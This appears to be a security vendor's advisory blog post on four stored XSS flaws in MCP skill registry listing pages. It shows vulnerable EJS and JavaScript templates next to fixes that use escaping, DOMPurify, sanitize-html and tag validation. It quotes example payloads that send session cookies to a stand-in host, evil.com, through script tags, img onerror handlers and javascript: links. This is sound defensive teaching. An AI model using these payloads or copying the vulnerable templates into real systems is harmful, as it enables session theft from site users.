executes for every user whose search returns the skill; fix: EJS <%= %> auto-escaping or React text nodes. XSS8-002: README.md parsed with marked and inserted as innerHTML without DOMPurify — attacker uses javascript: links and in markdown; fix: DOMPurify.sanitize(marked.parse(readme)) or server-side sanitize-html with allowlist. XSS8-003: changelog field stored as HTML and inserted via innerHTML in developer dashboard without sanitization — attacker submits payload in changelog; fix: DOMPurify with ALLOWED_TAGS allowlist. XSS8-004: skill tags from manifest rendered in filter chip button elements via template literal without encoding — attacker manifest tag renders in every visitor's search sidebar; fix: validate tags against ^[a-z0-9][a-z0-9-]{0,30}$ on ingestion plus encode on render.", "author": { "@type": "Organization", "name": "SkillAudit", "url": "https://skillaudit.dev/" }, "publisher": { "@type": "Organization", "name": "SkillAudit", "logo": { "@type": "ImageObject", "url": "https://skillaudit.dev/assets/og.svg" } }, "datePublished": "2026-11-12", "dateModified": "2026-11-12", "mainEntityOfPage": { "@type": "WebPage", "@id": "https://skillaudit.dev/seo/claude-skill-xss8-stored-xss-skill-name-description-registry-search-results-listing-mcp-skill-security" } }
← Blog

Claude MCP skill stored XSS via skill name and description fields in registry search results and listing pages — SA-SKL-XSS8

MCP skill registry platforms display developer-submitted content — skill names, descriptions, changelogs, and tags — across multiple pages: search results, listing pages, developer dashboards, and filter components. When any of these fields is rendered as HTML without proper encoding or sanitization, an attacker can publish a skill with a malicious name or description to inject a script that runs in every visitor's browser. SA-SKL-XSS8 covers four stored XSS vectors specific to skill registry listing surfaces: skill name from the manifest rendered as innerHTML in search results, README markdown parsed without DOMPurify, changelog HTML rendered without an allowlist, and skill tags inserted into filter chip buttons without encoding.

By SkillAudit  |  12 Nov 2026
SA-SKL-XSS8 findings at a glance
CRITICALXSS8-001 — Skill name stored from manifest, rendered as innerHTML in search results — attacker publishes a skill named <script>document.location='https://evil.com?c='+document.cookie</script>; executes in the browser of every user whose search query returns that skill in results
CRITICALXSS8-002 — Skill README.md parsed with marked or commonmark and inserted as innerHTML without DOMPurify — attacker README uses [click](javascript:...) links and <img src=x onerror="..."> raw HTML; both survive markdown-to-HTML conversion and execute on the listing page
HIGHXSS8-003 — Skill changelog field accepts HTML formatting and is rendered via innerHTML in the developer dashboard without sanitization — attacker submits <img src=x onerror="document.location='https://evil.com?s='+document.cookie"> as changelog content; fires for every developer viewing that skill's changelog panel
CRITICALXSS8-004 — Skill tags from manifest rendered in filter chip buttons via template literal ${tag} or EJS <%- without encoding — attacker manifest sets "tags": ["<script>alert(1)</script>"]; payload renders in the search filter sidebar for every visitor, not only those searching for that specific skill

XSS8-001 — Skill name stored from manifest, rendered as HTML in search results

The skill name is the most visible field in a registry — it appears in search result cards, autocomplete dropdowns, breadcrumbs, and page titles. Developers who build the search results template focus on making the name prominent and styled; they often use innerHTML assignment or EJS unescaped output (<%-) to allow the name to contain formatting or to avoid double-encoding already-stored HTML entities. When the name is stored verbatim from the developer's skill manifest and later rendered using an unescaped output method, any HTML tags in the name are interpreted by the browser.

The attack is high-impact because it triggers for every user whose search query returns the malicious skill in results — which an attacker can maximize by giving the skill a popular name or by targeting broad search terms. No interaction beyond loading the search results page is required; the script executes immediately when the results render.

// VULNERABLE — search results template (EJS)
// routes/search.js
app.get('/search', async (req, res) => {
  const skills = await db.searchSkills(req.query.q);
  res.render('search', { skills });
});

// views/search.ejs
<!-- Attacker skill name: <script>document.location='https://evil.com?c='+document.cookie</script> -->
<% skills.forEach(skill => { %>
  <div class="skill-card">
    <div class="skill-name"><%- skill.name %></div>  <!-- <%- is UNESCAPED output -->
    <div class="skill-desc"><%- skill.shortDescription %></div>
  </div>
<% }); %>

// React equivalent (also vulnerable):
// <div dangerouslySetInnerHTML={{ __html: skill.name }} />

Stored, not reflected: XSS8-001 is a stored XSS — the payload is written to the database when the malicious skill is published and fires every time the skill appears in search results, without any action from the attacker after initial publication. The attacker does not need to send a crafted link to victims; the payload executes automatically for any user who runs a matching search.

The fix uses HTML-escaping output methods exclusively for developer-supplied content. In EJS, <%= (single equals) auto-escapes HTML entities; <%- (dash) is for trusted, pre-sanitized HTML only. In React, rendering {skill.name} as a text node is always safe; dangerouslySetInnerHTML must never be used with unsanitized developer content. Additionally, a Content-Security-Policy header with script-src 'self' provides defense-in-depth, breaking inline script execution even if an encoding bug is introduced in the future.

// FIXED — escaped output in search results template (EJS)
// views/search.ejs
<% skills.forEach(skill => { %>
  <div class="skill-card">
    <!-- <%= auto-escapes: < > & " ' are replaced with HTML entities -->
    <div class="skill-name"><%= skill.name %></div>
    <div class="skill-desc"><%= skill.shortDescription %></div>
  </div>
<% }); %>

// React equivalent (safe — text node, never executes as HTML):
// <div className="skill-name">{skill.name}</div>

// routes/search.js — add CSP header as defense-in-depth
app.get('/search', async (req, res) => {
  res.setHeader('Content-Security-Policy',
    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'");
  const skills = await db.searchSkills(req.query.q);
  res.render('search', { skills });
});

XSS8-002 — Skill README rendered via markdown parser without XSS sanitization

Skill listing pages render the developer's README.md as formatted HTML to give skills rich documentation pages. The markdown-to-HTML conversion pipeline uses a parser such as marked, commonmark, or markdown-it. These parsers correctly convert markdown syntax to HTML, but they do not sanitize the output for XSS. Two categories of payload survive the markdown conversion intact. First, markdown link syntax [text](javascript:alert(document.cookie)) produces <a href="javascript:alert(document.cookie)">text</a> — a valid anchor element with a javascript: URI that executes when clicked. Second, raw HTML blocks embedded in markdown are passed through by most parsers by default; an attacker includes <img src=x onerror="fetch('https://evil.com?c='+btoa(document.cookie))"> directly in the README, and the parser emits it verbatim into the page output.

// VULNERABLE — skill listing page renders README without sanitization
// routes/skill.js
app.get('/skills/:id', async (req, res) => {
  const skill = await db.getSkill(req.params.id);
  // marked.parse() converts markdown to HTML but does NOT sanitize for XSS
  const readmeHtml = marked.parse(skill.readme);
  res.render('skill', { skill, readmeHtml });
});

// views/skill.ejs
<div class="skill-readme">
  <%- readmeHtml %>  <!-- unescaped — renders attacker HTML directly -->
</div>

// Attacker README content:
// [Install now](javascript:eval(atob('ZG9jdW1lbnQubG9jYXRpb24...')))
// <img src=x onerror="fetch('https://evil.com?c='+btoa(document.cookie))">

Why markdown parsers don't sanitize by default: Markdown parsers are content-formatting tools, not security tools. Many legitimate use cases require passing through raw HTML — documentation sites, email clients, blog editors. The assumption is that the markdown author is trusted. In an MCP skill registry, the author is not trusted; the registry must add a sanitization layer between the parser output and the template render.

The fix applies DOMPurify (client-side) or sanitize-html (server-side) to the markdown parser output before it reaches the template. DOMPurify strips javascript: URIs, event handler attributes (onerror, onload, etc.), and unsafe elements (<script>, <iframe>). For server-side rendering, sanitize-html with an explicit tag and attribute allowlist provides equivalent protection without requiring a DOM environment.

// FIXED — DOMPurify sanitization after markdown parse (client-side render)
import DOMPurify from 'dompurify';
import { marked } from 'marked';

function renderReadme(markdownSource) {
  const rawHtml = marked.parse(markdownSource);
  // DOMPurify strips: javascript: URIs, event handlers, script/iframe/object tags
  const safeHtml = DOMPurify.sanitize(rawHtml, {
    USE_PROFILES: { html: true },
    FORBID_TAGS: ['style', 'script', 'iframe', 'object', 'embed'],
    FORBID_ATTR: ['style', 'onerror', 'onload', 'onclick', 'onmouseover']
  });
  skillReadmeContainer.innerHTML = safeHtml;  // safe — DOMPurify output
}

// FIXED — server-side rendering with sanitize-html
const sanitizeHtml = require('sanitize-html');
const { marked } = require('marked');

function renderReadmeServer(markdownSource) {
  const rawHtml = marked.parse(markdownSource);
  return sanitizeHtml(rawHtml, {
    allowedTags: ['h1','h2','h3','h4','p','ul','ol','li','a','code','pre',
                  'strong','em','blockquote','table','thead','tbody','tr','td','th'],
    allowedAttributes: {
      'a': ['href', 'title'],  // href is filtered — javascript: URIs blocked
      'code': ['class'],       // for syntax highlighting class names
    },
    allowedSchemes: ['http', 'https', 'mailto']  // explicitly excludes javascript:
  });
}

Detection: SkillAudit scans for marked.parse(, commonmark(, markdownit(, and similar parser calls where the output is passed directly to a template render or innerHTML assignment without an intervening DOMPurify.sanitize( or sanitizeHtml( call. Any markdown parse whose output flows to an unescaped template variable is flagged XSS8-002 CRITICAL.

XSS8-003 — Skill changelog field rendered via innerHTML without sanitization

Developer dashboards in MCP skill registries often include a "Recent updates" panel that displays the skill's changelog — a field developers use to communicate version notes to users. To allow basic formatting (bold release numbers, links to documentation), the field accepts a limited subset of HTML. The vulnerability arises when the platform stores whatever HTML the developer submits and renders it via innerHTML without sanitization. The attacker publishes a skill with a malicious changelog entry. The payload is then rendered in the dashboard of every developer or reviewer who views that skill's changelog panel — which may include platform staff, security reviewers, and other users who investigate the skill.

// VULNERABLE — skill changelog panel in developer dashboard
// API endpoint that accepts changelog HTML from developer
app.put('/api/skills/:id/changelog', async (req, res) => {
  // req.body.changelog accepted as HTML — stored verbatim
  await db.updateSkillChangelog(req.params.id, req.body.changelog);
  res.json({ updated: true });
});

// Dashboard JavaScript renders stored changelog as innerHTML
async function renderSkillChangelog(skillId) {
  const { changelog } = await api.getSkill(skillId);
  // innerHTML renders stored HTML — attacker payload executes here
  document.getElementById('changelog-panel').innerHTML = changelog;
  // Attacker stored: <img src=x onerror="document.location='https://evil.com?s='+document.cookie">
}

Target: authenticated developers and reviewers: XSS8-003 specifically targets authenticated users who access the developer dashboard — people who are likely logged in with elevated platform permissions. Session cookies exfiltrated from a developer account may carry OAuth scopes that allow publishing new skill versions, modifying other developers' settings, or accessing billing information. The same attack surface that targets end users (XSS8-001) here specifically targets the platform's most privileged users.

The fix applies an allowlist-based HTML sanitization before storing the changelog, and again before rendering. Sanitizing on ingestion prevents stored malicious payloads; sanitizing on render provides defense-in-depth in case historical data was stored before the ingestion filter was added. The allowlist should be narrow — only the formatting tags that the changelog feature genuinely requires.

// FIXED — sanitize changelog on ingestion and on render
const DOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');

// Server-side DOMPurify instance using jsdom
const window = new JSDOM('').window;
const purify = DOMPurify(window);

const CHANGELOG_ALLOWED_TAGS = ['b', 'i', 'a', 'p', 'ul', 'li', 'code', 'br'];
const CHANGELOG_ALLOWED_ATTR = { 'a': ['href'] };

function sanitizeChangelog(raw) {
  return purify.sanitize(raw, {
    ALLOWED_TAGS: CHANGELOG_ALLOWED_TAGS,
    ALLOWED_ATTR: CHANGELOG_ALLOWED_ATTR,
    ALLOW_DATA_ATTR: false
  });
}

// Sanitize on ingestion
app.put('/api/skills/:id/changelog', async (req, res) => {
  const safe = sanitizeChangelog(req.body.changelog);
  await db.updateSkillChangelog(req.params.id, safe);
  res.json({ updated: true });
});

// Dashboard render — use textContent for plain-text changelogs, innerHTML only for sanitized
async function renderSkillChangelog(skillId) {
  const { changelog } = await api.getSkill(skillId);
  // Re-sanitize on render: defense-in-depth for historical data
  const safe = DOMPurify.sanitize(changelog, { ALLOWED_TAGS: CHANGELOG_ALLOWED_TAGS });
  document.getElementById('changelog-panel').innerHTML = safe;
}

XSS8-004 — Skill tag from manifest rendered in filter chips without encoding

Search pages in MCP skill registries display filter chips in a sidebar or toolbar — clickable buttons labeled with tag names like "authentication", "file-io", "database", or "llm-wrapper" that allow users to narrow search results by category. The tag labels are populated from skill manifests: each skill declares an array of tags, and the registry aggregates them to build the filter UI. When the filter chip labels are rendered using template literals (${tag}), EJS unescaped output (<%-), or any other method that does not HTML-encode the string, an attacker skill with a tag value containing an HTML payload injects that payload into the filter sidebar rendered for every visitor.

Unlike XSS8-001, the payload does not require the malicious skill to appear in search results — the filter chips are built from all tags in the registry database regardless of the current search query. A single published skill with a malicious tag can inject a payload into the filter sidebar for every visitor to the search page.

// VULNERABLE — search filter chips built from registry tag aggregation
// routes/search.js
app.get('/search', async (req, res) => {
  const skills = await db.searchSkills(req.query.q);
  const allTags = await db.getAllDistinctTags();  // aggregated from all skill manifests
  res.render('search', { skills, allTags });
});

// views/search.ejs
<div class="filter-sidebar">
  <% allTags.forEach(tag => { %>
    <!-- tag value from attacker manifest: <script>alert(document.cookie)</script> -->
    <button class="filter-chip"><%- tag %></button>  <!-- unescaped output -->
  <% }); %>
</div>

// JavaScript equivalent (also vulnerable):
// allTags.forEach(tag => {
//   filterContainer.innerHTML += `<button class="filter-chip">${tag}</button>`;
// });

Widest blast radius in SA-SKL-XSS8: XSS8-004 fires for every visitor to the search page regardless of their query or which skills they view. Because filter chips are rendered from a global tag aggregation, a single malicious skill submission poisons the filter sidebar for all users until the skill is removed or the tag is sanitized. In a registry with high search traffic, this represents the highest user impact of the four findings in this report.

Two complementary fixes are required. The first is ingestion-time validation: reject any tag that does not match a strict pattern on skill submission. A tag should be a lowercase alphanumeric slug — the regex ^[a-z0-9][a-z0-9-]{0,30}$ enforces this. Any manifest submission with a non-conforming tag is rejected with a validation error before the tag reaches the database. The second fix is render-time encoding: use escaped output methods (<%= in EJS, text nodes in JavaScript) even for tags that have already passed ingestion validation, providing defense-in-depth against tags stored before the validation was added.

// FIXED — validate tags on ingestion, encode on render

// Ingestion: validate tag format on skill manifest submission
const TAG_REGEX = /^[a-z0-9][a-z0-9-]{0,30}$/;
const MAX_TAGS = 10;

function validateManifestTags(tags) {
  if (!Array.isArray(tags) || tags.length > MAX_TAGS) {
    throw new Error('tags must be an array of at most 10 items');
  }
  for (const tag of tags) {
    if (typeof tag !== 'string' || !TAG_REGEX.test(tag)) {
      throw new Error(`Invalid tag: "${tag}". Tags must match ^[a-z0-9][a-z0-9-]{0,30}$`);
    }
  }
  return tags;  // validated — safe to store
}

app.post('/api/skills', async (req, res) => {
  const tags = validateManifestTags(req.body.manifest.tags || []);
  await db.createSkill({ ...req.body.manifest, tags });
  res.json({ created: true });
});

// Render: escaped output in search template (EJS)
// views/search.ejs — <%= escapes all HTML special characters
<div class="filter-sidebar">
  <% allTags.forEach(tag => { %>
    <button class="filter-chip" data-tag="<%= tag %>"><%= tag %></button>
  <% }); %>
</div>

// JavaScript equivalent (safe — createElement, never innerHTML):
allTags.forEach(tag => {
  const btn = document.createElement('button');
  btn.className = 'filter-chip';
  btn.dataset.tag = tag;
  btn.textContent = tag;  // textContent never executes as HTML
  filterContainer.appendChild(btn);
});

Detection summary

Finding Severity Trigger Fix
XSS8-001 CRITICAL Skill name as innerHTML / EJS <%- EJS <%= auto-escaping or React text nodes
XSS8-002 CRITICAL marked.parse(readme) without DOMPurify DOMPurify.sanitize() or sanitize-html allowlist
XSS8-003 HIGH Changelog innerHTML without sanitization DOMPurify with ALLOWED_TAGS allowlist on ingest + render
XSS8-004 CRITICAL Tag in filter chip without encoding Slug regex validation on ingestion + textContent on render

SkillAudit's static analysis and manifest auditing detect all four XSS8 patterns. Skill manifest submissions are scanned for non-conforming tag values before they reach the registry database. Template analysis flags unescaped output of skill metadata fields as XSS8-001 or XSS8-004. Markdown rendering pipelines without DOMPurify are flagged XSS8-002. See also SA-SKL-XSS7 for reflected XSS via error pages and redirect parameters in MCP skill audit dashboards, and SA-SKL-XSS6 for stored XSS via markdown rendering and HTML sanitization bypasses in earlier skill listing contexts.